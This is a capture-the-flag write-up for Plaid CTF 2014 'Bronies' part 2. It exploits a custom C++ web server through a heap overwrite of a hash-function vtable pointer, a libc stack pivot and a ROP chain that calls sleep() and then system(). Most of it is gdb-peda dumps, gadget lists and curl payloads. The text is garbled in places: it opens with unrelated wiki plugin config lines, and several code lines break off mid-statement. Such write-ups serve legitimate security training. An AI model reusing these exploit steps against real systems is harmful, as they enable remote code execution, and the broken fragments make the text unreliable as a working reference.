$plugins['authad'] = '0';
$plugins['authldap'] = '1';
$plugins['authmysql'] = '0';
$plugins['authpgsql'] = '0';
= Plaid CTF 2014: "Bronies" Part 2. 500 out of 800 pts =
Task text for part 1:
We are trying to break into eXtreme Secure Solutions, where The Plague works as a system adminstrator.
We have found that their internal company login page is at http://portal.essolutions.largestctf.com/.
Recon has also revealed that The Plague likes to browse this site during work hours: http://54.196.225.30/ using the username ponyboy2004.
Remember, our main target is to break into the company portal, *not* the pony site.
Task text for part 2:
This challenge has one more flag. Break into the internal server to capture it!
Reminder: For security reasons, all internet traffic is blocked on the Bigson (http://bigson.essolutions.largestctf.com/index?file=index.html)
The difficulty of part 2 is that the **Bigson** cannot be accessed remotely so we need to do it via the previous XSS mechanism:
$ host-woods bigson.essolutions.largestctf.com
bigson.essolutions.largestctf.com A 10.15.0.5
To get back information we will reuse what is on the otp site: AJAX. Let's do the exact query on the site and send the output to ourselves. We first need to get over the 127 character limitation in the argv[0] xss exploit. As the encoded payload we modify the following in **create_xss_external.py**:
#s = """""" % YOUR_IP
s = """ 0x0
RBX: 0x60fb40 --> 0x7ffff7dda3f8 --> 0x0
RCX: 0x7ffff75b85c0 --> 0x0
RDX: 0xc ('\x0c')
RSI: 0x60fad8 ("TESTINGPARAM")
RDI: 0x60f740 --> 0x407c50 --> 0x403126 (<_ZN7PHPHashD2Ev>: push rbp)
RBP: 0x7fffffffd1c0 --> 0x7fffffffd240 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0
RSP: 0x7fffffffd180 --> 0x7fffffffd240 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0
RIP: 0x4032d4 (<_ZN9HashTable6InsertERKSsS1_+116>: mov rdx,QWORD PTR [rax+rdx*8+0x8])
R8 : 0x0
R9 : 0x0
R10: 0x7fffffffcf00 --> 0x0
R11: 0x7ffff7b907d0 (<_ZNKSs5c_strEv>: mov rax,QWORD PTR [rdi])
R12: 0x401ff0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffdd00 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4032c8 <_ZN9HashTable6InsertERKSsS1_+104>: mov QWORD PTR [rbp-0x20],rax
0x4032cc <_ZN9HashTable6InsertERKSsS1_+108>: mov rax,QWORD PTR [rbp-0x28]
0x4032d0 <_ZN9HashTable6InsertERKSsS1_+112>: mov rdx,QWORD PTR [rbp-0x20]
=> 0x4032d4 <_ZN9HashTable6InsertERKSsS1_+116>: mov rdx,QWORD PTR [rax+rdx*8+0x8]
0x4032d9 <_ZN9HashTable6InsertERKSsS1_+121>: mov rax,QWORD PTR [rbp-0x18]
0x4032dd <_ZN9HashTable6InsertERKSsS1_+125>: mov QWORD PTR [rax+0x10],rdx
0x4032e1 <_ZN9HashTable6InsertERKSsS1_+129>: mov rax,QWORD PTR [rbp-0x28]
0x4032e5 <_ZN9HashTable6InsertERKSsS1_+133>: mov rdx,QWORD PTR [rbp-0x20]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd180 --> 0x7fffffffd240 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0
0008| 0x7fffffffd188 --> 0x7fffffffd1e0 --> 0x60fb18 ("TESTINGVALUE")
0016| 0x7fffffffd190 --> 0x7fffffffd1f0 --> 0x60fad8 ("TESTINGPARAM")
0024| 0x7fffffffd198 --> 0x7fffffffd350 --> 0x0
0032| 0x7fffffffd1a0 --> 0xc ('\x0c')
0040| 0x7fffffffd1a8 --> 0x60fb40 --> 0x7ffff7dda3f8 --> 0x0
0048| 0x7fffffffd1b0 --> 0x0
0056| 0x7fffffffd1b8 --> 0x401ff0 (<_start>: xor ebp,ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x00000000004032d4 in HashTable::Insert(std::string const&, std::string const&) ()
gdb-peda$ telescope $rax 300
0000| 0x7fffffffd350 --> 0x0
0008| 0x7fffffffd358 --> 0x0
0016| 0x7fffffffd360 --> 0x0
0024| 0x7fffffffd368 --> 0x0
0032| 0x7fffffffd370 --> 0x0
0040| 0x7fffffffd378 --> 0x0
0048| 0x7fffffffd380 --> 0x0
0056| 0x7fffffffd388 --> 0x0
0064| 0x7fffffffd390 --> 0x0
0072| 0x7fffffffd398 --> 0x0
0080| 0x7fffffffd3a0 --> 0x0
0088| 0x7fffffffd3a8 --> 0x0
0096| 0x7fffffffd3b0 --> 0x0
0104| 0x7fffffffd3b8 --> 0x0
0112| 0x7fffffffd3c0 --> 0x0
0120| 0x7fffffffd3c8 --> 0x0
0128| 0x7fffffffd3d0 --> 0x0
0136| 0x7fffffffd3d8 --> 0x0
0144| 0x7fffffffd3e0 --> 0x0
.........................................................
2000| 0x7fffffffdb20 --> 0x0
2008| 0x7fffffffdb28 --> 0x0
2016| 0x7fffffffdb30 --> 0x0
2024| 0x7fffffffdb38 --> 0x0
2032| 0x7fffffffdb40 --> 0x0
2040| 0x7fffffffdb48 --> 0x0
2048| 0x7fffffffdb50 --> 0x0
2056| 0x7fffffffdb58 --> 0x0
2064| 0x7fffffffdb60 --> 0x60f740 --> 0x407c50 --> 0x403126 (<_ZN7PHPHashD2Ev>: push rbp)
2072| 0x7fffffffdb68 --> 0x7ffff72d1d83 (: cmp rax,0xfffffffffffff000)
2080| 0x7fffffffdb70 --> 0xffffffffffffff88
2088| 0x7fffffffdb78 --> 0x0
2096| 0x7fffffffdb80 --> 0x3eb
2104| 0x7fffffffdb88 --> 0x3
2112| 0x7fffffffdb90 --> 0x0
2120| 0x7fffffffdb98 --> 0x0
2128| 0x7fffffffdba0 --> 0x18
2136| 0x7fffffffdba8 --> 0x0
2144| 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0
2152| 0x7fffffffdbb8 --> 0x402d12 (<_Z6handlei+26>: leave)
2160| 0x7fffffffdbc0 --> 0x7ffff7fb4740 (0x00007ffff7fb4740)
2168| 0x7fffffffdbc8 --> 0xaf75baec0
2176| 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0
2184| 0x7fffffffdbd8 --> 0x402f1e (: mov eax,DWORD PTR [rbp-0x8])
The **push rbp** instruction seems interesting as that's the beginning of function prologues. Demangling the name gives us: "PHPHash::~PHPHash()". Maybe we can overwrite it somehow.
We first check what gets written by our initial query by doing some more steps and dumping the memory:
gdb-peda$ telescope 0x7fffffffd350 20
0000| 0x7fffffffd350 --> 0x1
0008| 0x7fffffffd358 --> 0x0
0016| 0x7fffffffd360 --> 0x0
0024| 0x7fffffffd368 --> 0x0
0032| 0x7fffffffd370 --> 0x0
0040| 0x7fffffffd378 --> 0x0
0048| 0x7fffffffd380 --> 0x0
0056| 0x7fffffffd388 --> 0x0
0064| 0x7fffffffd390 --> 0x0
0072| 0x7fffffffd398 --> 0x0
0080| 0x7fffffffd3a0 --> 0x0
0088| 0x7fffffffd3a8 --> 0x0
0096| 0x7fffffffd3b0 --> 0x0
0104| 0x7fffffffd3b8 --> 0x60fb40 --> 0x60fb18 ("TESTINGVALUE")
Thus we have
0104| 0x7fffffffd3b8 --> 0x60fb40 --> 0x60fb18 ("TESTINGVALUE")
versus
2064| 0x7fffffffdb60 --> 0x60f740 --> 0x407c50 --> 0x403126 (<_ZN7PHPHashD2Ev>: push rbp)
The indirection levels seem to be equal. Let's try and force a segmentation fault at 44434241 using ABCD.
First we find out where the call is made from by setting a breakpoint on 0x403126. The location is
0x00000000004034ce <+120>: call r12
$ curl 127.0.0.1:81/index?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=ABCD
$ dmesg | tail -1
[Apr19 20:01] bigson_fork_nol[26239]: segfault at 1 ip 0000000000000001 sp 00007fffffffcf88 error 14 in bigson_fork_nolocal[400000+b000]
It doesn't seem to be working. We set a breakpoint right before r12 is set.
gdb-peda$
[----------------------------------registers-----------------------------------]
RAX: 0x60fd78 --> 0x6161610044434241 ('ABCD')
RBX: 0x60fbd0 --> 0x60fd78 --> 0x6161610044434241 ('ABCD')
RCX: 0x60fc08 --> 0x61616100656c6966 ('file')
RDX: 0x7fffffffd250 --> 0x60fc08 --> 0x61616100656c6966 ('file')
RSI: 0x0
RDI: 0x7fffffffdb60 --> 0x60fbd0 --> 0x60fd78 --> 0x6161610044434241 ('ABCD')
RBP: 0x7fffffffcfb0 --> 0x7fffffffcfe0 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0
RSP: 0x7fffffffcf90 --> 0x7fffffffd250 --> 0x60fc08 --> 0x61616100656c6966 ('file')
RIP: 0x4034b5 (<_ZNK9HashTable4HashERKSs+95>: add rax,0x18)
R8 : 0x2710
R9 : 0x0
R10: 0x7ffff75b8618 --> 0x610290 --> 0x0
R11: 0x7ffff7386cf0 --> 0xfffc4e30fffc4670
R12: 0x401ff0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffdd00 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4034aa <_ZNK9HashTable4HashERKSs+84>: call 0x404610 <_ZNKSt10unique_ptrI12HashFunctionSt14default_deleteIS0_EEdeEv>
0x4034af <_ZNK9HashTable4HashERKSs+89>: mov rbx,rax
0x4034b2 <_ZNK9HashTable4HashERKSs+92>: mov rax,QWORD PTR [rbx]
=> 0x4034b5 <_ZNK9HashTable4HashERKSs+95>: add rax,0x18
0x4034b9 <_ZNK9HashTable4HashERKSs+99>: mov r12,QWORD PTR [rax]
0x4034bc <_ZNK9HashTable4HashERKSs+102>: mov rax,QWORD PTR [rbp-0x20]
0x4034c0 <_ZNK9HashTable4HashERKSs+106>: mov rdi,rax
0x4034c3 <_ZNK9HashTable4HashERKSs+109>: call 0x401bb0 <_ZNKSs5c_strEv@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffcf90 --> 0x7fffffffd250 --> 0x60fc08 --> 0x61616100656c6966 ('file')
0008| 0x7fffffffcf98 --> 0x7fffffffd350 --> 0x1
0016| 0x7fffffffcfa0 --> 0x0
0024| 0x7fffffffcfa8 --> 0x401ff0 (<_start>: xor ebp,ebp)
0032| 0x7fffffffcfb0 --> 0x7fffffffcfe0 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0
0040| 0x7fffffffcfb8 --> 0x40336e (<_ZNK9HashTable6LookupERKSs+54>: mov QWORD PTR [rbp-0x10],rax)
0048| 0x7fffffffcfc0 --> 0x7fffffffd250 --> 0x60fc08 --> 0x61616100656c6966 ('file')
0056| 0x7fffffffcfc8 --> 0x7fffffffd350 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004034b5 in HashTable::Hash(std::string const&) const ()
gdb-peda$ hexdump $rax /4
0x0060fd78 : 41 42 43 44 00 61 61 61 00 00 00 00 00 00 00 00 ABCD.aaa........
0x0060fd88 : 41 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 A...............
0x0060fd98 : b8 d2 ff ff ff 7f 00 00 00 00 00 00 00 00 00 00 ................
0x0060fda8 : 00 00 00 00 00 00 00 00 48 fd 60 00 00 00 00 00 ........H.`.....
Okay. The value needs to be longer. We do a standard pattern create+send+search to figure it out effortlessly:
gdb-peda$ pattc 0x32
'AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfA'
............
$ curl 127.0.0.1:81/index?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfA
.....................
gdb-peda$
Stopped reason: SIGSEGV
0x00000000004034ce in HashTable::Hash(std::string const&) const ()
gdb-peda$ patts r12
Registers contain pattern buffer:
R12+0 found at offset: 24
As expected, the dereferencing is done at 0x18 = 24. We now control RIP.
== Finding a useful gadget ==
Since the binary has NX enabled we can't insert a shellcode and jump to it. We need to do a ROP attack using only one gadget. For this we also need to find out what we have on the stack and in the registers.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 26521]
[----------------------------------registers-----------------------------------]
RAX: 0x60fc38 --> 0x61616100656c6966 ('file')
RBX: 0x60fc00 --> 0x60fe28 ("AAAaAA0AABAAbAA1AACAAcAAABCD")
RCX: 0x60fc38 --> 0x61616100656c6966 ('file')
RDX: 0x7fffffffd250 --> 0x60fc38 --> 0x61616100656c6966 ('file')
RSI: 0x60fc38 --> 0x61616100656c6966 ('file')
RDI: 0x60fc00 --> 0x60fe28 ("AAAaAA0AABAAbAA1AACAAcAAABCD")
RBP: 0x7fffffffcfb0 --> 0x7fffffffcfe0 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0
RSP: 0x7fffffffcf90 --> 0x7fffffffd250 --> 0x60fc38 --> 0x61616100656c6966 ('file')
RIP: 0x4034ce (<_ZNK9HashTable4HashERKSs+120>: call r12)
R8 : 0x2710
R9 : 0x0
R10: 0x7ffff75b8618 --> 0x6102d0 --> 0x0
R11: 0x7ffff7386cf0 --> 0xfffc4e30fffc4670
R12: 0x6161610044434241 ('ABCD')
R13: 0x7fffffffdd00 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4034c3 <_ZNK9HashTable4HashERKSs+109>: call 0x401bb0 <_ZNKSs5c_strEv@plt>
0x4034c8 <_ZNK9HashTable4HashERKSs+114>: mov rsi,rax
0x4034cb <_ZNK9HashTable4HashERKSs+117>: mov rdi,rbx
=> 0x4034ce <_ZNK9HashTable4HashERKSs+120>: call r12
0x4034d1 <_ZNK9HashTable4HashERKSs+123>: add rsp,0x10
0x4034d5 <_ZNK9HashTable4HashERKSs+127>: pop rbx
0x4034d6 <_ZNK9HashTable4HashERKSs+128>: pop r12
0x4034d8 <_ZNK9HashTable4HashERKSs+130>: pop rbp
Guessed arguments:
arg[0]: 0x60fc00 --> 0x60fe28 ("AAAaAA0AABAAbAA1AACAAcAAABCD")
arg[1]: 0x60fc38 --> 0x61616100656c6966 ('file')
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffcf90 --> 0x7fffffffd250 --> 0x60fc38 --> 0x61616100656c6966 ('file')
0008| 0x7fffffffcf98 --> 0x7fffffffd350 --> 0x1
0016| 0x7fffffffcfa0 --> 0x0
0024| 0x7fffffffcfa8 --> 0x401ff0 (<_start>: xor ebp,ebp)
0032| 0x7fffffffcfb0 --> 0x7fffffffcfe0 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0
0040| 0x7fffffffcfb8 --> 0x40336e (<_ZNK9HashTable6LookupERKSs+54>: mov QWORD PTR [rbp-0x10],rax)
0048| 0x7fffffffcfc0 --> 0x7fffffffd250 --> 0x60fc38 --> 0x61616100656c6966 ('file')
0056| 0x7fffffffcfc8 --> 0x7fffffffd350 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004034ce in HashTable::Hash(std::string const&) const ()
gdb-peda$ context stack 100
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffcf90 --> 0x7fffffffd250 --> 0x60fc38 --> 0x61616100656c6966 ('file')
0008| 0x7fffffffcf98 --> 0x7fffffffd350 --> 0x1
0016| 0x7fffffffcfa0 --> 0x0
0024| 0x7fffffffcfa8 --> 0x401ff0 (<_start>: xor ebp,ebp)
0032| 0x7fffffffcfb0 --> 0x7fffffffcfe0 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0
0040| 0x7fffffffcfb8 --> 0x40336e (<_ZNK9HashTable6LookupERKSs+54>: mov QWORD PTR [rbp-0x10],rax)
0048| 0x7fffffffcfc0 --> 0x7fffffffd250 --> 0x60fc38 --> 0x61616100656c6966 ('file')
0056| 0x7fffffffcfc8 --> 0x7fffffffd350 --> 0x1
0064| 0x7fffffffcfd0 --> 0x0
0072| 0x7fffffffcfd8 --> 0x7fffffffd2f0 --> 0x60e730 --> 0x646e692f00544547 ('GET')
0080| 0x7fffffffcfe0 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0
0088| 0x7fffffffcfe8 --> 0x4028e7 (<_Z12IndexHandlerRKSsRK11HttpRequestP12HttpResponse+268>: mov QWORD PTR [rbp-0x18],rax)
0096| 0x7fffffffcff0 --> 0x24ab43c8
0104| 0x7fffffffcff8 --> 0x7fffffffd2a0 --> 0xc8
0112| 0x7fffffffd000 --> 0x7fffffffd2f0 --> 0x60e730 --> 0x646e692f00544547 ('GET')
0120| 0x7fffffffd008 --> 0x7fffffffd308 --> 0x60faa8 --> 0x7865646e692f ('/index')
0128| 0x7fffffffd010 --> 0xffffffff
0136| 0x7fffffffd018 --> 0x7ffff7ffa678 --> 0x7ffff7ad3000 --> 0x10102464c457f
0144| 0x7fffffffd020 --> 0x7ffff7ae05f0 --> 0xc002200024046
0152| 0x7fffffffd028 --> 0x7ffff7ffa678 --> 0x7ffff7ad3000 --> 0x10102464c457f
0160| 0x7fffffffd030 --> 0xffffffff
0168| 0x7fffffffd038 --> 0x7ffff7fb6030 --> 0x7ffff7b1b1a8 ("GLIBCXX_3.4")
0176| 0x7fffffffd040 --> 0x250
0184| 0x7fffffffd048 --> 0x1
0192| 0x7fffffffd050 --> 0x0
0200| 0x7fffffffd058 --> 0x7ffff7ffa9d0 --> 0x7ffff7ffe440 --> 0x7ffff7fb7af0 --> 0x7ffff7ffe188 --> 0x0
0208| 0x7fffffffd060 --> 0x661b4bde
0216| 0x7fffffffd068 --> 0x7ffff7ffe4e0 --> 0x7ffff7ffe440 --> 0x7ffff7fb7af0 --> 0x7ffff7ffe188 --> 0x0
0224| 0x7fffffffd070 --> 0x687d56c0
0232| 0x7fffffffd078 --> 0x7fffffffdb60 --> 0x60fc00 --> 0x60fe28 ("AAAaAA0AABAAbAA1AACAAcAAABCD")
0240| 0x7fffffffd080 --> 0x7fffffffd0a0 --> 0x0
0248| 0x7fffffffd088 --> 0x60b280 --> 0x7ffff7b907d0 (<_ZNKSs5c_strEv>: mov rax,QWORD PTR [rdi])
0256| 0x7fffffffd090 --> 0x0
0264| 0x7fffffffd098 --> 0x7fffffffdd00 --> 0x1
0272| 0x7fffffffd0a0 --> 0x0
0280| 0x7fffffffd0a8 --> 0x0
0288| 0x7fffffffd0b0 --> 0x7fffffffd170 --> 0x7fffffffd1c0 --> 0x7fffffffd1e0 --> 0x7fffffffd210 --> 0x7fffffffd260 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0
0296| 0x7fffffffd0b8 --> 0x7ffff7de8f35 (<_dl_fixup+245>: mov rbp,rax)
0304| 0x7fffffffd0c0 --> 0x7fff00000001
0312| 0x7fffffffd0c8 --> 0x0
0320| 0x7fffffffd0d0 --> 0x0
0328| 0x7fffffffd0d8 --> 0x7ffff7ae05f0 --> 0xc002200024046
0336| 0x7fffffffd0e0 --> 0x60f740 --> 0x407c50 --> 0x403126 (<_ZN7PHPHashD2Ev>: push rbp)
0344| 0x7fffffffd0e8 --> 0x7fffffffd170 --> 0x7fffffffd1c0 --> 0x7fffffffd1e0 --> 0x7fffffffd210 --> 0x7fffffffd260 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0
0352| 0x7fffffffd0f0 --> 0x40319a (<_ZN7PHPHashclEPKc>: push rbp)
0360| 0x7fffffffd0f8 --> 0x7ffff7def445 (<_dl_runtime_resolve+53>: mov r11,rax)
0368| 0x7fffffffd100 --> 0x7fffffffd1f0 --> 0x0
0376| 0x7fffffffd108 --> 0x7ffff75b85c0 --> 0x0
0384| 0x7fffffffd110 --> 0x7fffffffd1f0 --> 0x0
0392| 0x7fffffffd118 --> 0x0
0400| 0x7fffffffd120 --> 0x6101c9 --> 0x0
0408| 0x7fffffffd128 --> 0x60f740 --> 0x407c50 --> 0x403126 (<_ZN7PHPHashD2Ev>: push rbp)
0416| 0x7fffffffd130 --> 0x0
0424| 0x7fffffffd138 --> 0x101
0432| 0x7fffffffd140 --> 0x7fffffffd170 --> 0x7fffffffd1c0 --> 0x7fffffffd1e0 --> 0x7fffffffd210 --> 0x7fffffffd260 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0
0440| 0x7fffffffd148 --> 0x4034d1 (<_ZNK9HashTable4HashERKSs+123>: add rsp,0x10)
0448| 0x7fffffffd150 --> 0x7fffffffd1f0 --> 0x0
0456| 0x7fffffffd158 --> 0x7fffffffd350 --> 0x1
0464| 0x7fffffffd160 --> 0x60fc00 --> 0x60fe28 ("AAAaAA0AABAAbAA1AACAAcAAABCD")
.......
Unfortunately, it seems that an "add rsp, ... ; ret" gadget isn't going to cut it. After some failed attempts to exploit it in this way I had another idea: let's add another parameter to the request:
$ curl "127.0.0.1:81/index?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=AAAaAA0AABAAbAA1AACAAcAAABCD&TESTINGPARAM=TESTINGVALUE"
gdb-peda$ contin
Continuing.
[----------------------------------registers-----------------------------------]
RAX: 0x60fd78 ("TESTINGPARAM")
RBX: 0x60fc30 --> 0x60fe58 ("AAAaAA0AABAAbAA1AACAAcAAABCD")
RCX: 0x7fffffffd350 --> 0x1
RDX: 0x7fffffffd1f0 --> 0x60fd78 ("TESTINGPARAM")
RSI: 0x60fd78 ("TESTINGPARAM")
RDI: 0x60fc30 --> 0x60fe58 ("AAAaAA0AABAAbAA1AACAAcAAABCD")
RBP: 0x7fffffffd140 --> 0x7fffffffd170 --> 0x7fffffffd1c0 --> 0x7fffffffd240 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0
RSP: 0x7fffffffd120 --> 0x7fffffffd1f0 --> 0x60fd78 ("TESTINGPARAM")
RIP: 0x4034ce (<_ZNK9HashTable4HashERKSs+120>: call r12)
R8 : 0x0
R9 : 0x0
R10: 0x7ffff75b8618 --> 0x610300 --> 0x0
R11: 0x7ffff7386cf0 --> 0xfffc4e30fffc4670
R12: 0x6161610044434241 ('ABCD')
R13: 0x7fffffffdd00 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4034c3 <_ZNK9HashTable4HashERKSs+109>: call 0x401bb0 <_ZNKSs5c_strEv@plt>
0x4034c8 <_ZNK9HashTable4HashERKSs+114>: mov rsi,rax
0x4034cb <_ZNK9HashTable4HashERKSs+117>: mov rdi,rbx
=> 0x4034ce <_ZNK9HashTable4HashERKSs+120>: call r12
0x4034d1 <_ZNK9HashTable4HashERKSs+123>: add rsp,0x10
0x4034d5 <_ZNK9HashTable4HashERKSs+127>: pop rbx
0x4034d6 <_ZNK9HashTable4HashERKSs+128>: pop r12
0x4034d8 <_ZNK9HashTable4HashERKSs+130>: pop rbp
Guessed arguments:
arg[0]: 0x60fc30 --> 0x60fe58 ("AAAaAA0AABAAbAA1AACAAcAAABCD")
arg[1]: 0x60fd78 ("TESTINGPARAM")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd120 --> 0x7fffffffd1f0 --> 0x60fd78 ("TESTINGPARAM")
0008| 0x7fffffffd128 --> 0x7fffffffd350 --> 0x1
0016| 0x7fffffffd130 --> 0x0
0024| 0x7fffffffd138 --> 0x401ff0 (<_start>: xor ebp,ebp)
0032| 0x7fffffffd140 --> 0x7fffffffd170 --> 0x7fffffffd1c0 --> 0x7fffffffd240 --> 0x7fffffffd280 --> 0x7fffffffdbb0 --> 0x7fffffffdbd0 --> 0x7fffffffdc20 --> 0x0
0040| 0x7fffffffd148 --> 0x40336e (<_ZNK9HashTable6LookupERKSs+54>: mov QWORD PTR [rbp-0x10],rax)
0048| 0x7fffffffd150 --> 0x7fffffffd1f0 --> 0x60fd78 ("TESTINGPARAM")
0056| 0x7fffffffd158 --> 0x7fffffffd350 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x00000000004034ce in HashTable::Hash(std::string const&) const ()
gdb-peda$
This is much much better. We can use an "xchg esp, eax" gadget from libc to pivot the stack (as the heap address fits inside 4 bytes: 0x60fd78) and add any ROP chain we want.
[-------------------------------------code-------------------------------------]
=> 0x7ffff731e585 : ret
0x7ffff731e586 : lea rsi,[r12+0x48]
0x7ffff731e58b : lea rdi,[r12+0x40]
0x7ffff731e590 : call 0x7ffff731de40
[------------------------------------stack-------------------------------------]
0000| 0x60fd78 ("TESTINGPARAM")
0008| 0x60fd80 --> 0x314141004d415241 ('ARAM')
0016| 0x60fd88 ("AACAAcAAABCD")
0024| 0x60fd90 --> 0x44434241 ('ABCD')
0032| 0x60fd98 --> 0x31 ('1')
0040| 0x60fda0 --> 0x60fc40 --> 0x60f740 --> 0x407c50 --> 0x403126 (<_ZN7PHPHashD2Ev>: push rbp)
0048| 0x60fda8 --> 0x4
0056| 0x60fdb0 --> 0xffffffff
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00007ffff731e585 in innetgr () from /lib64/libc.so.6
gdb-peda$ hexdump $rsp /5
0x0060fd78 : 54 45 53 54 49 4e 47 50 41 52 41 4d 00 41 41 31 TESTINGPARAM.AA1
0x0060fd88 : 41 41 43 41 41 63 41 41 41 42 43 44 00 00 00 00 AACAAcAAABCD....
0x0060fd98 : 31 00 00 00 00 00 00 00 40 fc 60 00 00 00 00 00 1.......@.`.....
0x0060fda8 : 04 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 ................
0x0060fdb8 : 54 45 53 54 00 4e 47 50 41 52 41 4d 00 00 00 00 TEST.NGPARAM....
== Local exploitation ==
The gadgets I found useful from libc were:
0x2adb7 : xchg esp,eax
0x2adb8 : ret
0x1055a0 : mov rdi,rsp
0x1055a3 : call rdx
0x1b8a: pop rdx
0x1b8b: ret
0x2024b: pop rdi
0x2024c: ret
To test locally I like to use the sleep function for 0x10 seconds. We leverage the fact that urldecode is applied on the parameter names and values when sending payload bytes.
cmd += quote_string( struct.pack("
$ time python /tmp/writeup/testsleep.py 7ffff7214000
curl "127.0.0.1:81/index?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00%B5%59%27%F7%FF%7F%00%00&%D8%9E%23%F7%FF%7F%00%00%10%00%00%00%00%00%00%00%00%0C%2D%F7%FF%7F%00%00=TESTINGVALUE"
curl: (52) Empty reply from server
real 0m16.004s
user 0m0.001s
sys 0m0.001s
By modifying the exploit script to call **system()** we should get the result back on to the socket:
cmd += quote_string( struct.pack("&10 ; exit;""")
$ python /tmp/writeup.py 7ffff7214000
